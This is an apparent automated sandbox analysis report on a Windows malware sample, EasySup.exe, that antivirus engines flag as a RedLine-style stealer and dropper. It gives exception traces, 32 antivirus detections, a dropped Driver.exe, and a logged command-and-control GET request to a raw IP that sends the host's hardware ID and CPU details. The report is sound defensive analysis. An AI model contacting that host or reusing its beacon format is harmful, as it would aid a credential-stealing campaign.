__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ Oct. 27, 2023, 7:37 a.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x77710895 stacktrace+0x84 memdup-0x1af @ 0x749a0470 hook_in_monitor+0x45 lde-0x133 @ 0x749942ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x749b3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefdc03243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefdc031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76fc2ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x77710895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1996238576 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://185.236.76.77/cmd.php?hwid=7C6024AD&reff=onebuild&cpu=Intel(R)%20Core(TM)%20i5-8400%20CPU%20@%202.80GHz%20...%20test22

Performs some HTTP requests (1 event)

request

GET http://185.236.76.77/cmd.php?hwid=7C6024AD&reff=onebuild&cpu=Intel(R)%20Core(TM)%20i5-8400%20CPU%20@%202.80GHz%20...%20test22

Communicates with host for which no DNS query was performed (1 event)

host

185.236.76.77

Creates an executable file in a user folder (1 event)

file	C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe

File has been identified by 32 AntiVirus engines on VirusTotal as malicious (32 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Agent.Y!c
DrWeb	Trojan.PWS.RedLineNET.6
FireEye	Generic.mg.0630254696658572
Skyhigh	BehavesLike.Win32.Generic.rm
McAfee	Artemis!063025469665
Cylance	unsafe
Sangfor	Trojan.Win32.Save.a
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Win32/GenKryptik.GPLS
APEX	Malicious
Kaspersky	UDS:Trojan-Dropper.Win32.Mine.gen
Rising	Trojan.Kryptik!8.8 (TFE:1:NGnqaWXxXjL)
Sophos	Mal/Generic-S
Ikarus	Trojan-Spy.Cinoshi
Webroot	W32.Trojan.Gen
Varist	W32/Zbot.AC.gen!Eldorado
Avira	TR/Kryptik.hilgh
Gridinsoft	Trojan.Win32.Gen.bot
ZoneAlarm	UDS:Trojan-Dropper.Win32.Mine.gen
Microsoft	Trojan:Win32/Casdet!rfn
Cynet	Malicious (score: 100)
VBA32	BScope.TrojanPSW.RedLine
DeepInstinct	MALICIOUS
Malwarebytes	Trojan.Crypt.Generic
Panda	Trj/Chgt.AD
Tencent	Win32.Trojan.Genkryptik.Kqil
SentinelOne	Static AI - Malicious PE
AVG	Win32:CrypterX-gen [Trj]
Avast	Win32:CrypterX-gen [Trj]
CrowdStrike	win/malicious_confidence_100% (W)

EasySup.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All